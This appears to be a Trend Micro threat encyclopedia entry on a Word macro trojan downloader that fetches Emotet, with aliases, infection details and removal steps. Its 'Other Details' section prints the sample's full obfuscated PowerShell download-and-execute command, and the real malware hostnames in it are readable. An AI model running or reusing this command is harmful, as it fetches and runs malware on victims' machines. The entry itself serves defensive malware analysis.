W2KM_POWLOAD.AUSJVD

 Analysis by: Michael Jay Villanueva

 ALIASES:

TrojanDownloader:O97M/Donoff (Microsoft); W97M.DownLoader.2209 (DrWeb); VB:Trojan.VBA.Downloader.HQ (F-Secure)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: Yes

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Spammed via email, Dropped by other malware, Downloaded from the Internet

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users. It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It does not have any propagation routine.

It does not have any backdoor routine.

It executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

  TECHNICAL DETAILS

File Size:

160,256 bytes

File Type:

DOC

Memory Resident:

No

Initial Samples Received Date:

15 Nov 2017

Payload:

Displays graphics/image, Connects to URLs/IPs, Downloads files

Arrival Details

This Trojan arrives as an attachment to email messages spammed by other malware/grayware or malicious users.

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Propagation

This Trojan does not have any propagation routine.

Backdoor Routine

This Trojan does not have any backdoor routine.

Download Routine

This Trojan accesses the following websites to download files:

  • http://www.{BLOCKED}achievements.com/nOXubLyf/
  • http://www.{BLOCKED}li.top/DARDJKRJK/
  • http://www.xxxshop.{BLOCKED}alastore.com/uFdANoqw/
  • http://www.{BLOCKED}n-shiatsu.fr/OUCF/
  • http://www.{BLOCKED}y.co.uk/RFot/

It saves the files it downloads using the following names:

  • %System Root%\Users\Public\{Random Numbers}.exe
    where {Random Numbers} will be generated randomly from 1 to 343245

(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.)

Trend Micro detects the dowloaded file as:

  • TSPY_EMOTET.SMONT2

It then executes the downloaded files. As a result, malicious routines of the downloaded files are exhibited on the affected system.

Other Details

This Trojan does the following:

  • It uses Powershell commands to download and execute a malicious file:
    • powershell " ((' (nbt nbt+nbt(0a8c40a8+0a'+'8Ffr0a8+0a8an0a8+0a8cnbt+nbt = new0a8+0a8-o0a8+0a'+'8nbt+nbtbj0a8+0a8ec0a8+0a8t nbt+nbt0a8+nbt+nbt0a8Syst0a8+0a8em.0a8+0a8N0a8+0a8et.We0a8+0a8bC0a8+0a8linbt+nbt0a'+'8+'+'0a8en0a8+0a8t;nbt+nbtc4F0'+'a8+0a8ns0a8+nbt+nbt0a8a'+'dasd = ne'+'w'+'-object0a8+0a8 0a8+0a8rando0a8+0a8m;c0a8+0a84Fbcd 0a8+0a8=0a8+0a8 ZI0a8+0a8yh0a8+0a8ttnbt'+'+nbt0a8+0a8p0a8+0a8://w0nbt+nbta8+0a8ww.0a8+0a'+'8sel0a8+0anbt+nbt8phy.co.0a8+0a8u0a8+0an'+'bt'+'+nbt8k/RFo'+'t/,ht0a8+0a8tp://w0a8+'+'0a8ww0a8+0a8.zenz0a8+0a8i0'+'a8+0a8on0a8nbt+nbt+0a8-sh0a8+0a8iatsu.fr/0a8+0a8O0a8+0'+'a8UCF/0anbt+nbt8+0a8nbt+nbt,http://0a'+'8+0a8ww0a8+0a8w.0a8+0a8sh'+'op0a8+0a8.cak0a8+nbt+nbt0a8raw0a8+0a8al0a8+0'+'a8'+'a0a8+0a8sto0a8+0a8re.cnbt+nbt0a8+0a8om/0a8+0a8uFdAN0a8+0a8oqw/,htt0a8+0a8p:0a8+0a8//ww0a8+0a8w.0a8+nbt+nbt0a8q0a8+0a8ixia0a8+0'+'a'+'8o0a8+0a8l0a8+0a8i.nbt+nbttop/DA0a8+0a8RDJKRJK/,htt0a8'+'+0anbt+nbt8p://0a8+0a8w0a8nbt+nbt+0a8w0a8+0a8w.sim0a8'+'+0a8ple0a8+0a8a0a8+0a8c0a8+0a8h0anbt+nbt8+0nbt+nbta8ie0a8nbt+nbt+0a8vements.c0a8+0a8o0a8+0a8m/n'+'OXubLyf/ZI0a'+'8+0a8y.S0a8+0nbt+nbta8plit(0a8+0a8ZIy,0a8+0a8ZIy);nbt+nbtc0a8+0a84Fkarapas0a8+0a8 = 0a8+0a8c4Fnsada0a8+0a8s0a8+0a8d.next(1,'+' nbt+'+'nbt0'+'a8'+'+0a8343240a8+0a850a8+0a8);c0a8+0anbt+nbt84Fhu0a8+0'+'a8as =nbt+nbt0a8+0a8 0a'+'8+0'+'a8c0a8+0a840a8+0a8Fenv:public + ZI0nbt+nbta8+0a8y30a8+0a8xaZIy + 0a8+0a8'+'c4F0a8+0a8k0a8+nbt+nbt0a'+'8a0a8+0a8'+'rap0a8+0a8asn'+'bt+nbt 0a8nbt+n'+'bt+0a8+ nbt+nbtZ0a8+0a8Iy.nbt+nbtexeZ'+'Iy;f'+'o0a8+0a8rea0a8+0a8ch0a8+0anbt+nbt8(c4Fabc in c40a8+'+'0a8'+'Fbc'+'d0a8+0a8){0a8+0a8try{c0a8+0'+'a84F0a8+0a8fr0a8+0anbt+nbt8a0a8+0a8nc.0a8+0'+'a8D0a8'+'+0a8ownlnbt+'+'nbt0a8+'+'0anbt+n'+'bt8oadFile(c4F0a8+0a8abc0a8+0a8nbt+nbt.ToSt0a8+0a8r'+'ing(), c40a8+0a8Fhuanbt+nbts);0anbt+nbt8+0a8Invoke0nbt+nbta8+0a8-0a8+0a8Item0a8+0a8(c4Fhuas0a8+0nbt+nbta'+'8)0a8+0a8;b0a8+0a8rea0a8+0a8k'+';}catch{0a8+0a8wri0a8+0a'+'8te-h0a8+0a8os0anbt+nbt8+0nb'+'t+nbta8t c4F0a8+0a8_.Exce0a8+0a8pt0a8+0a8ion.Messa0a8+0a8ge0a8+0a8;}}0a8).rEplaCe(0a83xa0a8,0a8X340anbt+nbt8).rEplaCe(([CHAR]99+[CHAR]52+[CH'+'nbt+nbtAR]70),[stRinnbt+nbtG][CHAR]36).rEplaCe(0a8ZIy0a8,[stRinG][CHAR]39) EwW &((vAriAbLe 0a8*mdr*'+'0a8).NAMe[3,11,2]-join0a80n'+'bt+nbta8)nbt).R'+'EplAcE(nbtEwWnbt,nbthCtnbt).REplA'+'cE(nbtX34nbt,nbtLDRnbt).REplAcE(([Char]48+[C'+'har]97+[Char]56),[sTRING][Char]3'+'9) hCt& ( h'+'8xsHelLid[1]+h8xshEL'+'LI'+'D['+'13]+nbtXn'+'bt)') -cREPLace ([cHar]104+[cHar]56+[cHar]120),[cHar]36 -cREPLace'LDR',[cHar]92 -rEPLAce 'nbt',[cHar]39-rEPLAce ([cHar]104+[cHar]67+[cHar]116),[cHar]124) | . ( $shElLId[1]+$shELlid[13]+'X');

NOTES:
The document contains the following message details luring users to enable Macro Content:

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

13.788.05

FIRST VSAPI PATTERN DATE:

17 Nov 2017

VSAPI OPR PATTERN File:

13.789.00

VSAPI OPR PATTERN Date:

18 Nov 2017

Step 1

Before doing any scans, Windows XP, Windows Vista, and Windows 7 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Remove malware/grayware files dropped/downloaded by W2KM_POWLOAD.AUSJVD. (Note: Please skip this step if the threats listed below have already been removed.)

    • TSPY_EMOTET.SMONT2

Step 4

Scan your computer with your Trend Micro product to delete files detected as W2KM_POWLOAD.AUSJVD. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check this Knowledge Base page for more information.

Step 5

Enable the macro virus protection in Microsoft Office Applications

[ Learn More ]


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